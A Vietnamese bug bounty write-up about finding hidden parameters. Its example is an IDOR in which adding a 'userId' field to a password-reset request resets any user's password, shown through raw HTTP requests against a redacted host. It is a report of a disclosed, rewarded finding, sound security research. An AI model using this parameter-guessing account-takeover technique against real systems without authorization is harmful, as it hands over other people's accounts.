Chơi với hidden parameters

hkln1
tradahacking
Published in
4 min readMay 31, 2019
  • Khi con đường mình đang đi quá đông người qua lại, ta nên chọn con đường khác vắng vẻ để trải nghiệm. Có thể con đường đó không đi đến đâu, cũng có thể nó sẽ dẫn ta đến đích nhanh nhất. Dù có thành công hay thất bại cũng không quan trọng, quan trọng là nó tạo cho ta cảm giác thoải mái. Gần đây, có nhiều bạn hỏi tôi, chơi những chương trình public quá khó khăn vì lỗi hầu như đã được các researcher khác tìm hết rồi hoặc là đã fix hết rồi. Mặc dù đã an ủi vỗ về, nhưng hình như các bạn đó vẫn lăn tăn. Một số không tin, một số không kiên trì và một số khác không biết cách làm như thế nào…Tôi cũng không biết phải làm sao để giúp các bạn…thôi thì lấy vài ví dụ ra xem có giúp được gì không.
  • Để bắt đầu tôi cũng chọn một public program. Tôi xem trong phần Program updates, ồ nó đã start được hơn 1 năm. Số lượng lỗi đã report là 156 lỗi. Ôi vl chim én :((….Đối với những chương trình kiểu này, tôi phải test với tâm thế mình là người test đầu tiên (kiểu là éo quan tâm endpoint này với lỗi này đã có người report, hay endpoint này chắc nó đã fix rồi)…Cứ test hết tất cả những chức năng, test hết tất cả những loại lỗi mà mình biết. Biết đâu, có 1 chức năng bị bỏ sót. Nên nhớ 1: code luôn thay đổi và ứng dụng luôn có thể phát triển những chức năng mới, nên nhớ 2: researcher thường test những loại lỗi mà họ rành và biết đâu những loại lỗi mà mình rành họ không rành thì sao, vâng vâng và vâng vâng. Mặc dù nếu theo hướng này thì cũng chỉ ăn được những lỗi low hanging fruit. Nhưng mình là người mới mà, cứ thực hiện thôi, nó cũng tập cho mình tính kiên trì (mặc dù chán, haha). Nói chứ nó cũng giúp cho mình tìm hiểu kỹ về ứng dụng trước khi thực hiện những kỹ thuật phức tạp hơn :).
  • Sau khi tôi bỏ ra 2, 3 ngày dạo vòng vòng, làm công việc chán òm này thì đúng như dự đoán, không tìm được mịe gì hết :)). Đã đến lúc tôi phải suy nghĩ bá đạo hơn, cái mà người ta hay gọi là think out of the box. Tôi thấy có chức năng reset mật khẩu. nó yêu cầu nhập lại mật khẩu cũ. Tôi thử nhập bất kỳ mật khẩu cũ nào nó cũng cho reset. Ôi vl :)). Thế nhưng nó có token -> ko thể CSRF và nó ko có User ID nên không thể reset cho thằng khác (IDOR).

POST /abcd/resetpassword.html HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/abcd/resetpassword.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Connection: close
Cookie:JSESSIONID=4CFAA71C6C1EA8A54F5F97539E8356E3
Upgrade-Insecure-Requests: 1

csrf_token=E41833454E8B5DC4266227EF880272DD05C3AE84DAEDED45658A687EB5EEB7371BB701C33B2BD3E490599917BFB981BDC337&oldPassword=caigicungduoc&newPassword=123abc%21%21%21&confirmPassword=123abc%21%21%21

  • Với kinh nghiệm của mình, tôi bắt đầu đi tìm những chức năng khác (trong request và response) để xem syntax đặt tên cho param User Id là gì. Tôi thấy có request delete user có param User Id được đặt tên là selecteduid.

POST /abcd/deleteuser.html HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx.com/abcd/entitlements.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Cookie: JSESSIONID=DA9142F6CB0291D92CD5133C48CB0225
Upgrade-Insecure-Requests: 1

selecteduid=hkln1&formName=deleteForm

  • Tôi thêm nó vào body của request reset password ở trên thì nó báo không thành công. Thế là tôi lại tìm thêm một request khác là add user.

POST /abcd/adduser.html HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx.com/abcd/adduser.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 462
Connection: close
Cookie: null; null; JSESSIONID=5036CDCB1DACE2AA78DC6498F40FCAA6;
Upgrade-Insecure-Requests: 1

csrf_token=1FA9385A1F45258702FAF74D27C298A8D048B498B163D556F6F374CAAB1321763A2C035F4377BB401BFCF82C6AC47AF63730&userId=hkln1&firstName=sfdlk&lastName=sldfkl&password=123456&department=sdlfk&phoneNumber=234&phoneExtension=&fax=&email=&address1=sdflk&address2=&city=sldkf&state=lkkdsf&zip=lkksdf&country=&comments=&authorizationLevel=3&_target2=

  • Lần này tôi thêm param userId vào body của request reset password với giá trị là username của user khác. Boom !!! thành công, wow. Vậy là ta có thể reset password của bất cứ user nào. Haha. Sau khi submit, report đã được triaged và reward.
  • Tôi biết ứng dụng này nó cho phép thực thi kỹ thuật này với các chức năng khác và không có một researcher nào submit loại lỗi này. Thế là tôi một mình một ngựa submit lỗi ở các chức năng khác (tuỳ chức năng sẽ có param với tên khác nhau). Nó đem lại cho tôi ko ít bounty ^ ^…
  • Nói thêm là ở ứng dụng này, tôi tìm syntax đặt tên param ở các request. Có trường hợp tôi tìm ở response (API), nên các bạn nhớ thử hết các trường hợp nhé. Happy hacking !

--

--